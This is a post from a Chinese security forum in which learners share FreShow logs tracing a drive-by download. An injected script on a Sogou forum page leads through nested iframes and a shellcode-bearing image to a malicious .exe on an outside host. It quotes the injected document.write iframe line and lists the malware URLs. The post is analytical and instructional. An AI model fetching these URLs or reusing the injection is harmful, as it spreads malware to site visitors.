瑞星卡卡安全论坛

Log is generated by FreShow.
[wide]http://bbs.sougou.com/redirect.php?tid=490173&goto=lastpost#lastpost
    [script]http://bbs.sougou.com/forumdata/cache/common.js?Ili
        [frame]http://tojen.5blog.info:171/360/index.html?id=38
            [object]http://tojen.5blog.info:171/360/me-.html?id=38
                [object]http://tojen.5blog.info:171/360/38/a.jpg
                    [object]http://my.me-1.info:8886/Down/my/38.exe
    [script]http://bbs.sougou.com/forumdata/cache/viewthread.js?Ili

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)

老师：
1、http://tojen.5blog.info:171/360/me-.html?id=38  这个地址在上一级的网源码中没有呀~
2、http://tojen.5blog.info:171/360/"+id+"/a.jpg  其中的“+id+”可以换成任何一个数，源码带出都有shellcode，但是有细微的差别，难道都是马呀？

试着解出来，不过 藏得有点严实，期待老师的讲解~:kaka12:

Log is generated by FreShow.
[wide]http://bbs.sougou.com/
    [script]http://bbs.sougou.com/forumdata/cache/common.js?Ili
        [frame]http://tojen.5now.info:171/360/index.html?id=38
到这以后对document.write("<iframe src=http://tojen.5now.info:171/360/index.html?id=38 width=100 height=0></iframe>")我用的document.write这个解除,可是出来的东西不是您的那个,不知道怎么回事,请您讲解下好吗

没发现有:
  [object]http://tojen.5blog.info:171/360/me-.html?id=38
                [object]http://tojen.5blog.info:171/360/38/a.jpg
                    [object]http://my.me-1.info:8886/Down/my/38.exe